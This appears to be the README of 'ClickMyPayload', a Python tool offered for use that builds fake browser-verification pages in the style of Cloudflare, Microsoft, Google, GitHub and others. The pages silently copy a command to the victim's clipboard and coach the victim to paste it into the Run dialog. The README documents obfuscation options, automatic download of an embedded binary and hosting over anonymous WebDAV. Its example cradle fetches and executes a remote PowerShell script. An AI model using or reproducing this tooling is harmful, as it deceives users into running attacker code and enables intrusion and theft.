Browser-Based ClickFix Generator
ClickMyPayload generates realistic browser verification pages that silently copy a command to the clipboard. The pages mimic well-known security and access-check interfaces. On page load the provided PowerShell or cmd cradle is written to the clipboard while a harmless decoy token is shown to the user. The page then guides the target through a short sequence of steps (Win+R, Ctrl+V, Enter). An optional binary payload can be embedded so it downloads automatically when the page is opened.
Developed by Maverick and GhostOverflow.
- Six brand-themed templates plus a fully customizable template
- Silent clipboard write of the chosen command on page load
- Optional binary payload embedding (base64 chunked, auto-download)
- Five obfuscation methods ranging from plain text to multi-stage
- Configurable post-verification redirect URL
- Clean, responsive HTML that closely matches official brand styling
- Interactive CLI or full command-line mode
- Python 3.6 or newer
- No external packages required (standard library only)
git clone https://github.com/shaheeryasirofficial/ClickMyPayload
cd ClickMyPayload
# or simply place clickmypayload.py in your working directoryMake the script executable if desired:
chmod +x clickmypayload.pyRun the script without arguments and follow the prompts:
python3 clickmypayload.pypython3 clickmypayload.py \
-c "powershell -nop -w hidden -c iex(...)" \
-t 1 \
-o 2 \
-f output.html \
-r https://www.example.com| Flag | Long form | Description |
|---|---|---|
-c |
--command |
PowerShell or cmd cradle to place on the clipboard |
-p |
--payload |
Optional binary file to embed and auto-download |
-t |
--template |
Template number (1-7) |
-o |
--obf |
Obfuscation method (1-5) |
-f |
--output |
Output HTML filename |
-r |
--redirect |
URL to redirect to after the fake verification finishes |
--help |
Show help and exit |
| # | Name |
|---|---|
| 1 | Cloudflare - Browser Check |
| 2 | Microsoft - Account Verification |
| 3 | Akamai - Access Check |
| 4 | Google - reCAPTCHA |
| 5 | GitHub - Account Verification |
| 6 | Fastly - Access Verification |
| 7 | Custom (user-defined colors, text, and branding) |
Default post-verification redirects point to the real brand websites. Override them with -r / --redirect.
| # | Method |
|---|---|
| 1 | None (plain command) |
| 2 | Base64-encoded PowerShell |
| 3 | String concatenation + environment-variable expansion |
| 4 | Character-code substitution |
| 5 | Multi-stage (Base64 + concatenation + character codes) |
Generate a Cloudflare page with Base64 obfuscation:
python3 clickmypayload.py \
-c "powershell -nop -w hidden -c iex(New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')" \
-t 1 \
-o 2 \
-f cloudflare_lure.htmlGenerate a GitHub page that also embeds a binary and redirects elsewhere:
python3 clickmypayload.py \
-c "cmd /c calc.exe" \
-p /path/to/payload.exe \
-t 5 \
-o 1 \
-f github_lure.html \
-r https://support.github.comFully custom template (interactive prompts will ask for colors and text when -t 7 is selected).
Simple HTTP server:
python3 -m http.server 8080Then open http://localhost:8080/<output-file>.html in a browser.
WebDAV example (requires wsgidav):
cp output.html /tmp/webdav-corp/
wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav-corp --auth=anonymous &- The user opens the generated HTML page.
- JavaScript immediately writes the (optionally obfuscated) command to the system clipboard.
- A decoy token is displayed in a styled command box so the page looks legitimate.
- Instructions tell the user to press Windows+R, paste with Ctrl+V, and press Enter.
- If a binary was supplied, it is reconstructed from base64 and downloaded automatically.
- After the user clicks the verification button, a short progress animation runs and the browser redirects to the configured URL.
Unauthorized use against systems you do not own or have explicit permission to test is illegal. The authors accept no responsibility for misuse.
- Maverick
- GhostOverflow
Use at your own risk. No warranty is provided.